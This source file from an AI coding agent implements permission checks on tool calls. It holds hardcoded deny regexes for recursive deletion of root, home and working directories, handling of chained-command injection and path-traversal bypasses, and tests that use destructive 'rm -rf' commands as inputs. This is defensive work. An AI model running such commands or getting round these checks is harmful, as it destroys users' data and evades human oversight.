tool_permissions.rs

   1use crate::AgentTool;
   2use crate::tools::TerminalTool;
   3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
   4use settings::ToolPermissionMode;
   5use shell_command_parser::{
   6    TerminalCommandValidation, extract_commands, validate_terminal_command,
   7};
   8use std::path::{Component, Path};
   9use std::sync::LazyLock;
  10use util::shell::ShellKind;
  11
  12const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
  13     harmful to be allowed, and cannot be overridden by settings.";
  14const INVALID_TERMINAL_COMMAND_MESSAGE: &str = "The terminal command could not be approved because terminal does not \
  15     allow shell substitutions or interpolations in permission-protected commands. Forbidden examples include $VAR, \
  16     ${VAR}, $(...), backticks, $((...)), <(...), and >(...). Resolve those values before calling terminal, or ask \
  17     the user for the literal value to use.";
  18
  19/// Security rules that are always enforced and cannot be overridden by any setting.
  20/// These protect against catastrophic operations like wiping filesystems.
  21pub struct HardcodedSecurityRules {
  22    pub terminal_deny: Vec<CompiledRegex>,
  23}
  24
  25pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
  26    // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
  27    // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
  28    const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
  29    // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
  30    const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
  31
  32    HardcodedSecurityRules {
  33        terminal_deny: vec![
  34            // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
  35            CompiledRegex::new(
  36                &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
  37                false,
  38            )
  39            .expect("hardcoded regex should compile"),
  40            // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
  41            CompiledRegex::new(
  42                &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
  43                false,
  44            )
  45            .expect("hardcoded regex should compile"),
  46            // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
  47            CompiledRegex::new(
  48                &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
  49                false,
  50            )
  51            .expect("hardcoded regex should compile"),
  52            // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
  53            CompiledRegex::new(
  54                &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
  55                false,
  56            )
  57            .expect("hardcoded regex should compile"),
  58            // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
  59            CompiledRegex::new(
  60                &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
  61                false,
  62            )
  63            .expect("hardcoded regex should compile"),
  64        ],
  65    }
  66});
  67
  68/// Checks if input matches any hardcoded security rules that cannot be bypassed.
  69/// Returns a Deny decision if blocked, None otherwise.
  70fn check_hardcoded_security_rules(
  71    tool_name: &str,
  72    inputs: &[String],
  73    shell_kind: ShellKind,
  74) -> Option<ToolPermissionDecision> {
  75    // Currently only terminal tool has hardcoded rules
  76    if tool_name != TerminalTool::NAME {
  77        return None;
  78    }
  79
  80    let rules = &*HARDCODED_SECURITY_RULES;
  81    let terminal_patterns = &rules.terminal_deny;
  82
  83    for input in inputs {
  84        // First: check the original input as-is (and its path-normalized form)
  85        if matches_hardcoded_patterns(input, terminal_patterns) {
  86            return Some(ToolPermissionDecision::Deny(
  87                HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  88            ));
  89        }
  90
  91        // Second: parse and check individual sub-commands (for chained commands)
  92        if shell_kind.supports_posix_chaining() {
  93            if let Some(commands) = extract_commands(input) {
  94                for command in &commands {
  95                    if matches_hardcoded_patterns(command, terminal_patterns) {
  96                        return Some(ToolPermissionDecision::Deny(
  97                            HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  98                        ));
  99                    }
 100                }
 101            }
 102        }
 103    }
 104
 105    None
 106}
 107
 108/// Checks a single command against hardcoded patterns, both as-is and with
 109/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
 110/// and multi-path bypasses like `rm -rf /tmp /`).
 111fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
 112    for pattern in patterns {
 113        if pattern.is_match(command) {
 114            return true;
 115        }
 116    }
 117
 118    for expanded in expand_rm_to_single_path_commands(command) {
 119        for pattern in patterns {
 120            if pattern.is_match(&expanded) {
 121                return true;
 122            }
 123        }
 124    }
 125
 126    false
 127}
 128
 129/// For rm commands, expands multi-path arguments into individual single-path
 130/// commands with normalized paths. This catches both traversal bypasses like
 131/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
 132fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
 133    let trimmed = command.trim();
 134
 135    let first_token = trimmed.split_whitespace().next();
 136    if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
 137        return vec![];
 138    }
 139
 140    let parts: Vec<&str> = trimmed.split_whitespace().collect();
 141    let mut flags = Vec::new();
 142    let mut paths = Vec::new();
 143    let mut past_double_dash = false;
 144
 145    for part in parts.iter().skip(1) {
 146        if !past_double_dash && *part == "--" {
 147            past_double_dash = true;
 148            flags.push(*part);
 149            continue;
 150        }
 151        if !past_double_dash && part.starts_with('-') {
 152            flags.push(*part);
 153        } else {
 154            paths.push(*part);
 155        }
 156    }
 157
 158    let flags_str = if flags.is_empty() {
 159        String::new()
 160    } else {
 161        format!("{} ", flags.join(" "))
 162    };
 163
 164    let mut results = Vec::new();
 165    for path in &paths {
 166        if path.starts_with('$') {
 167            let home_prefix = if path.starts_with("${HOME}") {
 168                Some("${HOME}")
 169            } else if path.starts_with("$HOME") {
 170                Some("$HOME")
 171            } else {
 172                None
 173            };
 174
 175            if let Some(prefix) = home_prefix {
 176                let suffix = &path[prefix.len()..];
 177                if suffix.is_empty() {
 178                    results.push(format!("rm {flags_str}{path}"));
 179                } else if suffix.starts_with('/') {
 180                    let normalized_suffix = normalize_path(suffix);
 181                    let reconstructed = if normalized_suffix == "/" {
 182                        prefix.to_string()
 183                    } else {
 184                        format!("{prefix}{normalized_suffix}")
 185                    };
 186                    results.push(format!("rm {flags_str}{reconstructed}"));
 187                } else {
 188                    results.push(format!("rm {flags_str}{path}"));
 189                }
 190            } else {
 191                results.push(format!("rm {flags_str}{path}"));
 192            }
 193            continue;
 194        }
 195
 196        let mut normalized = normalize_path(path);
 197        if normalized.is_empty() && !Path::new(path).has_root() {
 198            normalized = ".".to_string();
 199        }
 200
 201        results.push(format!("rm {flags_str}{normalized}"));
 202    }
 203
 204    results
 205}
 206
 207#[derive(Debug, Clone, PartialEq, Eq)]
 208pub enum ToolPermissionDecision {
 209    Allow,
 210    Deny(String),
 211    Confirm,
 212}
 213
 214impl ToolPermissionDecision {
 215    /// Determines the permission decision for a tool invocation based on configured rules.
 216    ///
 217    /// # Precedence Order (highest to lowest)
 218    ///
 219    /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
 220    ///    that cannot be bypassed by any user settings.
 221    /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
 222    ///    This takes precedence over `always_confirm` and `always_allow` patterns.
 223    /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
 224    ///    the user is prompted for confirmation.
 225    /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
 226    ///    the tool call proceeds without prompting.
 227    /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
 228    ///    `default` configured, that mode is used.
 229    /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
 230    ///    tool-specific default is set, or when the tool has no entry at all.
 231    ///
 232    /// # Shell Compatibility (Terminal Tool Only)
 233    ///
 234    /// For the terminal tool, commands are parsed to extract sub-commands for security.
 235    /// All currently supported `ShellKind` variants are treated as compatible because
 236    /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
 237    /// variant is added that brush-parser cannot safely parse, it should be excluded
 238    /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
 239    /// patterns to be disabled for that shell.
 240    ///
 241    /// # Pattern Matching Tips
 242    ///
 243    /// Patterns are matched as regular expressions against the tool input (e.g., the command
 244    /// string for the terminal tool). Some tips for writing effective patterns:
 245    ///
 246    /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
 247    ///   match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
 248    ///   This is important for security rules where you want to block specific commands
 249    ///   without accidentally blocking unrelated commands that happen to contain the same
 250    ///   substring.
 251    /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
 252    /// - Use `^` and `$` anchors to match the start/end of the input.
 253    pub fn from_input(
 254        tool_name: &str,
 255        inputs: &[String],
 256        permissions: &ToolPermissions,
 257        shell_kind: ShellKind,
 258    ) -> ToolPermissionDecision {
 259        // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
 260        // These cannot be bypassed by any user settings.
 261        if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
 262            return denial;
 263        }
 264
 265        let rules = permissions.tools.get(tool_name);
 266
 267        // Check for invalid regex patterns before evaluating rules.
 268        // If any patterns failed to compile, block the tool call entirely.
 269        if let Some(error) = rules.and_then(|rules| check_invalid_patterns(tool_name, rules)) {
 270            return ToolPermissionDecision::Deny(error);
 271        }
 272
 273        if tool_name == TerminalTool::NAME
 274            && !rules.map_or(
 275                matches!(permissions.default, ToolPermissionMode::Allow),
 276                |rules| is_unconditional_allow_all(rules, permissions.default),
 277            )
 278            && inputs.iter().any(|input| {
 279                matches!(
 280                    validate_terminal_command(input),
 281                    TerminalCommandValidation::Unsafe | TerminalCommandValidation::Unsupported
 282                )
 283            })
 284        {
 285            return ToolPermissionDecision::Deny(INVALID_TERMINAL_COMMAND_MESSAGE.into());
 286        }
 287
 288        let rules = match rules {
 289            Some(rules) => rules,
 290            None => {
 291                // No tool-specific rules, use the global default
 292                return match permissions.default {
 293                    ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 294                    ToolPermissionMode::Deny => {
 295                        ToolPermissionDecision::Deny("Blocked by global default: deny".into())
 296                    }
 297                    ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 298                };
 299            }
 300        };
 301
 302        // For the terminal tool, parse each input command to extract all sub-commands.
 303        // This prevents shell injection attacks where a user configures an allow
 304        // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
 305        //
 306        // If parsing fails or the shell syntax is unsupported, always_allow is
 307        // disabled for this command (we set allow_enabled to false to signal this).
 308        if tool_name == TerminalTool::NAME {
 309            // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
 310            // See the doc comment above for the list of compatible/incompatible shells.
 311            if !shell_kind.supports_posix_chaining() {
 312                // For shells with incompatible syntax, we can't reliably parse
 313                // the command to extract sub-commands.
 314                if !rules.always_allow.is_empty() {
 315                    // If the user has configured always_allow patterns, we must deny
 316                    // because we can't safely verify the command doesn't contain
 317                    // hidden sub-commands that bypass the allow patterns.
 318                    return ToolPermissionDecision::Deny(format!(
 319                        "The {} shell does not support \"always allow\" patterns for the terminal \
 320                         tool because Zed cannot parse its command chaining syntax. Please remove \
 321                         the always_allow patterns from your tool_permissions settings, or switch \
 322                         to a POSIX-conforming shell.",
 323                        shell_kind
 324                    ));
 325                }
 326                // No always_allow rules, so we can still check deny/confirm patterns.
 327                return check_commands(
 328                    inputs.iter().map(|s| s.to_string()),
 329                    rules,
 330                    tool_name,
 331                    false,
 332                    permissions.default,
 333                );
 334            }
 335
 336            // Expand each input into its sub-commands and check them all together.
 337            let mut all_commands = Vec::new();
 338            let mut any_parse_failed = false;
 339            for input in inputs {
 340                match extract_commands(input) {
 341                    Some(commands) => all_commands.extend(commands),
 342                    None => {
 343                        any_parse_failed = true;
 344                        all_commands.push(input.to_string());
 345                    }
 346                }
 347            }
 348            // If any command failed to parse, disable allow patterns for safety.
 349            check_commands(
 350                all_commands,
 351                rules,
 352                tool_name,
 353                !any_parse_failed,
 354                permissions.default,
 355            )
 356        } else {
 357            check_commands(
 358                inputs.iter().map(|s| s.to_string()),
 359                rules,
 360                tool_name,
 361                true,
 362                permissions.default,
 363            )
 364        }
 365    }
 366}
 367
 368/// Evaluates permission rules against a set of commands.
 369///
 370/// This function performs a single pass through all commands with the following logic:
 371/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
 372/// - **CONFIRM**: Track if ANY command matches a confirm pattern
 373/// - **ALLOW**: Track if ALL commands match at least one allow pattern
 374///
 375/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
 376/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
 377/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
 378fn check_commands(
 379    commands: impl IntoIterator<Item = String>,
 380    rules: &ToolRules,
 381    tool_name: &str,
 382    allow_enabled: bool,
 383    global_default: ToolPermissionMode,
 384) -> ToolPermissionDecision {
 385    // Single pass through all commands:
 386    // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
 387    // - CONFIRM: Track if ANY command matches a confirm pattern
 388    // - ALLOW: Track if ALL commands match at least one allow pattern
 389    let mut any_matched_confirm = false;
 390    let mut all_matched_allow = true;
 391    let mut had_any_commands = false;
 392
 393    for command in commands {
 394        had_any_commands = true;
 395
 396        // DENY: immediate return if any command matches a deny pattern
 397        if rules.always_deny.iter().any(|r| r.is_match(&command)) {
 398            return ToolPermissionDecision::Deny(format!(
 399                "Command blocked by security rule for {} tool",
 400                tool_name
 401            ));
 402        }
 403
 404        // CONFIRM: remember if any command matches a confirm pattern
 405        if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
 406            any_matched_confirm = true;
 407        }
 408
 409        // ALLOW: track if all commands match at least one allow pattern
 410        if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
 411            all_matched_allow = false;
 412        }
 413    }
 414
 415    // After processing all commands, check accumulated state
 416    if any_matched_confirm {
 417        return ToolPermissionDecision::Confirm;
 418    }
 419
 420    if allow_enabled && all_matched_allow && had_any_commands {
 421        return ToolPermissionDecision::Allow;
 422    }
 423
 424    match rules.default.unwrap_or(global_default) {
 425        ToolPermissionMode::Deny => {
 426            ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
 427        }
 428        ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 429        ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 430    }
 431}
 432
 433fn is_unconditional_allow_all(rules: &ToolRules, global_default: ToolPermissionMode) -> bool {
 434    // `always_allow` is intentionally not checked here: when the effective default
 435    // is already Allow and there are no deny/confirm restrictions, allow patterns
 436    // are redundant — the user has opted into allowing everything.
 437    rules.always_deny.is_empty()
 438        && rules.always_confirm.is_empty()
 439        && matches!(
 440            rules.default.unwrap_or(global_default),
 441            ToolPermissionMode::Allow
 442        )
 443}
 444
 445/// Checks if the tool rules contain any invalid regex patterns.
 446/// Returns an error message if invalid patterns are found.
 447fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
 448    if rules.invalid_patterns.is_empty() {
 449        return None;
 450    }
 451
 452    let count = rules.invalid_patterns.len();
 453    let pattern_word = if count == 1 { "pattern" } else { "patterns" };
 454
 455    Some(format!(
 456        "The {} tool cannot run because {} regex {} failed to compile. \
 457         Please fix the invalid patterns in your tool_permissions settings.",
 458        tool_name, count, pattern_word
 459    ))
 460}
 461
 462/// Convenience wrapper that extracts permission settings from `AgentSettings`.
 463///
 464/// This is the primary entry point for tools to check permissions. It extracts
 465/// `tool_permissions` from the settings and
 466/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
 467pub fn decide_permission_from_settings(
 468    tool_name: &str,
 469    inputs: &[String],
 470    settings: &AgentSettings,
 471) -> ToolPermissionDecision {
 472    ToolPermissionDecision::from_input(
 473        tool_name,
 474        inputs,
 475        &settings.tool_permissions,
 476        ShellKind::system(),
 477    )
 478}
 479
 480/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
 481pub fn normalize_path(raw: &str) -> String {
 482    let is_absolute = Path::new(raw).has_root();
 483    let mut components: Vec<&str> = Vec::new();
 484    for component in Path::new(raw).components() {
 485        match component {
 486            Component::CurDir => {}
 487            Component::ParentDir => {
 488                if components.last() == Some(&"..") {
 489                    components.push("..");
 490                } else if !components.is_empty() {
 491                    components.pop();
 492                } else if !is_absolute {
 493                    components.push("..");
 494                }
 495            }
 496            Component::Normal(segment) => {
 497                if let Some(s) = segment.to_str() {
 498                    components.push(s);
 499                }
 500            }
 501            Component::RootDir | Component::Prefix(_) => {}
 502        }
 503    }
 504    let joined = components.join("/");
 505    if is_absolute {
 506        format!("/{joined}")
 507    } else {
 508        joined
 509    }
 510}
 511
 512/// Decides permission by checking both the raw input path and a simplified/canonicalized
 513/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
 514pub fn decide_permission_for_paths(
 515    tool_name: &str,
 516    raw_paths: &[String],
 517    settings: &AgentSettings,
 518) -> ToolPermissionDecision {
 519    let raw_inputs: Vec<String> = raw_paths.to_vec();
 520    let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
 521
 522    let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
 523    let any_changed = raw_paths
 524        .iter()
 525        .zip(&normalized)
 526        .any(|(raw, norm)| raw != norm);
 527    if !any_changed {
 528        return raw_decision;
 529    }
 530
 531    let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
 532
 533    most_restrictive(raw_decision, normalized_decision)
 534}
 535
 536pub fn decide_permission_for_path(
 537    tool_name: &str,
 538    raw_path: &str,
 539    settings: &AgentSettings,
 540) -> ToolPermissionDecision {
 541    decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
 542}
 543
 544pub fn most_restrictive(
 545    a: ToolPermissionDecision,
 546    b: ToolPermissionDecision,
 547) -> ToolPermissionDecision {
 548    match (&a, &b) {
 549        (ToolPermissionDecision::Deny(_), _) => a,
 550        (_, ToolPermissionDecision::Deny(_)) => b,
 551        (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
 552            ToolPermissionDecision::Confirm
 553        }
 554        _ => a,
 555    }
 556}
 557
 558#[cfg(test)]
 559mod tests {
 560    use super::*;
 561    use crate::AgentTool;
 562    use crate::pattern_extraction::extract_terminal_pattern;
 563    use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
 564    use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
 565    use gpui::px;
 566    use settings::{DockPosition, NotifyWhenAgentWaiting, PlaySoundWhenAgentDone};
 567    use std::sync::Arc;
 568
 569    fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
 570        AgentSettings {
 571            enabled: true,
 572            button: true,
 573            dock: DockPosition::Right,
 574            flexible: true,
 575            default_width: px(300.),
 576            default_height: px(600.),
 577            max_content_width: px(850.),
 578            default_model: None,
 579            inline_assistant_model: None,
 580            inline_assistant_use_streaming_tools: false,
 581            commit_message_model: None,
 582            thread_summary_model: None,
 583            inline_alternatives: vec![],
 584            favorite_models: vec![],
 585            default_profile: AgentProfileId::default(),
 586            profiles: Default::default(),
 587            notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
 588            play_sound_when_agent_done: PlaySoundWhenAgentDone::default(),
 589            single_file_review: false,
 590            model_parameters: vec![],
 591            enable_feedback: false,
 592            expand_edit_card: true,
 593            expand_terminal_card: true,
 594            cancel_generation_on_terminal_stop: true,
 595            use_modifier_to_send: true,
 596            message_editor_min_lines: 1,
 597            tool_permissions,
 598            show_turn_stats: false,
 599            show_merge_conflict_indicator: true,
 600            new_thread_location: Default::default(),
 601            sidebar_side: Default::default(),
 602            thinking_display: Default::default(),
 603        }
 604    }
 605
 606    fn pattern(command: &str) -> &'static str {
 607        Box::leak(
 608            extract_terminal_pattern(command)
 609                .expect("failed to extract pattern")
 610                .into_boxed_str(),
 611        )
 612    }
 613
 614    struct PermTest {
 615        tool: &'static str,
 616        input: &'static str,
 617        mode: Option<ToolPermissionMode>,
 618        allow: Vec<(&'static str, bool)>,
 619        deny: Vec<(&'static str, bool)>,
 620        confirm: Vec<(&'static str, bool)>,
 621        global_default: ToolPermissionMode,
 622        shell: ShellKind,
 623    }
 624
 625    impl PermTest {
 626        fn new(input: &'static str) -> Self {
 627            Self {
 628                tool: TerminalTool::NAME,
 629                input,
 630                mode: None,
 631                allow: vec![],
 632                deny: vec![],
 633                confirm: vec![],
 634                global_default: ToolPermissionMode::Confirm,
 635                shell: ShellKind::Posix,
 636            }
 637        }
 638
 639        fn tool(mut self, t: &'static str) -> Self {
 640            self.tool = t;
 641            self
 642        }
 643        fn mode(mut self, m: ToolPermissionMode) -> Self {
 644            self.mode = Some(m);
 645            self
 646        }
 647        fn allow(mut self, p: &[&'static str]) -> Self {
 648            self.allow = p.iter().map(|s| (*s, false)).collect();
 649            self
 650        }
 651        fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
 652            self.allow = p.iter().map(|s| (*s, true)).collect();
 653            self
 654        }
 655        fn deny(mut self, p: &[&'static str]) -> Self {
 656            self.deny = p.iter().map(|s| (*s, false)).collect();
 657            self
 658        }
 659        fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
 660            self.deny = p.iter().map(|s| (*s, true)).collect();
 661            self
 662        }
 663        fn confirm(mut self, p: &[&'static str]) -> Self {
 664            self.confirm = p.iter().map(|s| (*s, false)).collect();
 665            self
 666        }
 667        fn global_default(mut self, m: ToolPermissionMode) -> Self {
 668            self.global_default = m;
 669            self
 670        }
 671        fn shell(mut self, s: ShellKind) -> Self {
 672            self.shell = s;
 673            self
 674        }
 675
 676        fn is_allow(self) {
 677            assert_eq!(
 678                self.run(),
 679                ToolPermissionDecision::Allow,
 680                "expected Allow for '{}'",
 681                self.input
 682            );
 683        }
 684        fn is_deny(self) {
 685            assert!(
 686                matches!(self.run(), ToolPermissionDecision::Deny(_)),
 687                "expected Deny for '{}'",
 688                self.input
 689            );
 690        }
 691        fn is_confirm(self) {
 692            assert_eq!(
 693                self.run(),
 694                ToolPermissionDecision::Confirm,
 695                "expected Confirm for '{}'",
 696                self.input
 697            );
 698        }
 699
 700        fn run(&self) -> ToolPermissionDecision {
 701            let mut tools = collections::HashMap::default();
 702            tools.insert(
 703                Arc::from(self.tool),
 704                ToolRules {
 705                    default: self.mode,
 706                    always_allow: self
 707                        .allow
 708                        .iter()
 709                        .map(|(p, cs)| {
 710                            CompiledRegex::new(p, *cs)
 711                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
 712                        })
 713                        .collect(),
 714                    always_deny: self
 715                        .deny
 716                        .iter()
 717                        .map(|(p, cs)| {
 718                            CompiledRegex::new(p, *cs)
 719                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
 720                        })
 721                        .collect(),
 722                    always_confirm: self
 723                        .confirm
 724                        .iter()
 725                        .map(|(p, cs)| {
 726                            CompiledRegex::new(p, *cs)
 727                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
 728                        })
 729                        .collect(),
 730                    invalid_patterns: vec![],
 731                },
 732            );
 733            ToolPermissionDecision::from_input(
 734                self.tool,
 735                &[self.input.to_string()],
 736                &ToolPermissions {
 737                    default: self.global_default,
 738                    tools,
 739                },
 740                self.shell,
 741            )
 742        }
 743    }
 744
 745    fn t(input: &'static str) -> PermTest {
 746        PermTest::new(input)
 747    }
 748
 749    fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
 750        ToolPermissionDecision::from_input(
 751            TerminalTool::NAME,
 752            &[input.to_string()],
 753            &ToolPermissions {
 754                default: global_default,
 755                tools: collections::HashMap::default(),
 756            },
 757            ShellKind::Posix,
 758        )
 759    }
 760
 761    // allow pattern matches
 762    #[test]
 763    fn allow_exact_match() {
 764        t("cargo test").allow(&[pattern("cargo")]).is_allow();
 765    }
 766    #[test]
 767    fn allow_one_of_many_patterns() {
 768        t("npm install")
 769            .allow(&[pattern("cargo"), pattern("npm")])
 770            .is_allow();
 771        t("git status")
 772            .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
 773            .is_allow();
 774    }
 775    #[test]
 776    fn allow_middle_pattern() {
 777        t("run cargo now").allow(&["cargo"]).is_allow();
 778    }
 779    #[test]
 780    fn allow_anchor_prevents_middle() {
 781        t("run cargo now").allow(&["^cargo"]).is_confirm();
 782    }
 783
 784    // allow pattern doesn't match -> falls through
 785    #[test]
 786    fn allow_no_match_confirms() {
 787        t("python x.py").allow(&[pattern("cargo")]).is_confirm();
 788    }
 789    #[test]
 790    fn allow_no_match_global_allows() {
 791        t("python x.py")
 792            .allow(&[pattern("cargo")])
 793            .global_default(ToolPermissionMode::Allow)
 794            .is_allow();
 795    }
 796    #[test]
 797    fn allow_no_match_tool_confirm_overrides_global_allow() {
 798        t("python x.py")
 799            .allow(&[pattern("cargo")])
 800            .mode(ToolPermissionMode::Confirm)
 801            .global_default(ToolPermissionMode::Allow)
 802            .is_confirm();
 803    }
 804    #[test]
 805    fn allow_no_match_tool_allow_overrides_global_confirm() {
 806        t("python x.py")
 807            .allow(&[pattern("cargo")])
 808            .mode(ToolPermissionMode::Allow)
 809            .global_default(ToolPermissionMode::Confirm)
 810            .is_allow();
 811    }
 812
 813    // deny pattern matches (using commands that aren't blocked by hardcoded rules)
 814    #[test]
 815    fn deny_blocks() {
 816        t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 817    }
 818    // global default: allow does NOT bypass user-configured deny rules
 819    #[test]
 820    fn deny_not_bypassed_by_global_default_allow() {
 821        t("rm -rf ./temp")
 822            .deny(&["rm\\s+-rf"])
 823            .global_default(ToolPermissionMode::Allow)
 824            .is_deny();
 825    }
 826    #[test]
 827    fn deny_blocks_with_mode_allow() {
 828        t("rm -rf ./temp")
 829            .deny(&["rm\\s+-rf"])
 830            .mode(ToolPermissionMode::Allow)
 831            .is_deny();
 832    }
 833    #[test]
 834    fn deny_middle_match() {
 835        t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 836    }
 837    #[test]
 838    fn deny_no_match_falls_through() {
 839        t("ls -la")
 840            .deny(&["rm\\s+-rf"])
 841            .mode(ToolPermissionMode::Allow)
 842            .is_allow();
 843    }
 844
 845    // confirm pattern matches
 846    #[test]
 847    fn confirm_requires_confirm() {
 848        t("sudo apt install")
 849            .confirm(&[pattern("sudo")])
 850            .is_confirm();
 851    }
 852    // global default: allow does NOT bypass user-configured confirm rules
 853    #[test]
 854    fn global_default_allow_does_not_override_confirm_pattern() {
 855        t("sudo reboot")
 856            .confirm(&[pattern("sudo")])
 857            .global_default(ToolPermissionMode::Allow)
 858            .is_confirm();
 859    }
 860    #[test]
 861    fn confirm_overrides_mode_allow() {
 862        t("sudo x")
 863            .confirm(&["sudo"])
 864            .mode(ToolPermissionMode::Allow)
 865            .is_confirm();
 866    }
 867
 868    // confirm beats allow
 869    #[test]
 870    fn confirm_beats_allow() {
 871        t("git push --force")
 872            .allow(&[pattern("git")])
 873            .confirm(&["--force"])
 874            .is_confirm();
 875    }
 876    #[test]
 877    fn confirm_beats_allow_overlap() {
 878        t("deploy prod")
 879            .allow(&["deploy"])
 880            .confirm(&["prod"])
 881            .is_confirm();
 882    }
 883    #[test]
 884    fn allow_when_confirm_no_match() {
 885        t("git status")
 886            .allow(&[pattern("git")])
 887            .confirm(&["--force"])
 888            .is_allow();
 889    }
 890
 891    // deny beats allow
 892    #[test]
 893    fn deny_beats_allow() {
 894        t("rm -rf ./tmp/x")
 895            .allow(&["/tmp/"])
 896            .deny(&["rm\\s+-rf"])
 897            .is_deny();
 898    }
 899
 900    #[test]
 901    fn deny_beats_confirm() {
 902        t("sudo rm -rf ./temp")
 903            .confirm(&["sudo"])
 904            .deny(&["rm\\s+-rf"])
 905            .is_deny();
 906    }
 907
 908    // deny beats everything
 909    #[test]
 910    fn deny_beats_all() {
 911        t("bad cmd")
 912            .allow(&["cmd"])
 913            .confirm(&["cmd"])
 914            .deny(&["bad"])
 915            .is_deny();
 916    }
 917
 918    // no patterns -> default
 919    #[test]
 920    fn default_confirm() {
 921        t("python x.py")
 922            .mode(ToolPermissionMode::Confirm)
 923            .is_confirm();
 924    }
 925    #[test]
 926    fn default_allow() {
 927        t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
 928    }
 929    #[test]
 930    fn default_deny() {
 931        t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
 932    }
 933    // Tool-specific default takes precedence over global default
 934    #[test]
 935    fn tool_default_deny_overrides_global_allow() {
 936        t("python x.py")
 937            .mode(ToolPermissionMode::Deny)
 938            .global_default(ToolPermissionMode::Allow)
 939            .is_deny();
 940    }
 941
 942    // Tool-specific default takes precedence over global default
 943    #[test]
 944    fn tool_default_confirm_overrides_global_allow() {
 945        t("x")
 946            .mode(ToolPermissionMode::Confirm)
 947            .global_default(ToolPermissionMode::Allow)
 948            .is_confirm();
 949    }
 950
 951    #[test]
 952    fn no_rules_uses_global_default() {
